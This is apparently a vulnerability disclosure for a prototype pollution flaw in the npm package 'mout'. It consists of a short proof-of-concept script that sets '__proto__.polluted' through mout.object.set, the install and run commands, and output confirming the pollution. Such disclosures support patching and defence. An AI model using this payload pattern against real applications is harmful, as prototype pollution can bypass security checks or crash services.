mout
is vulnerable to Prototype Pollution
.
// poc.js
var mout = require("mout")
var obj = {}
console.log("Before : " + {}.polluted);
mout.object.set(obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);
npm i mout # Install affected module
node poc.js # Run the PoC
Before : undefined
After : Yes! Its Polluted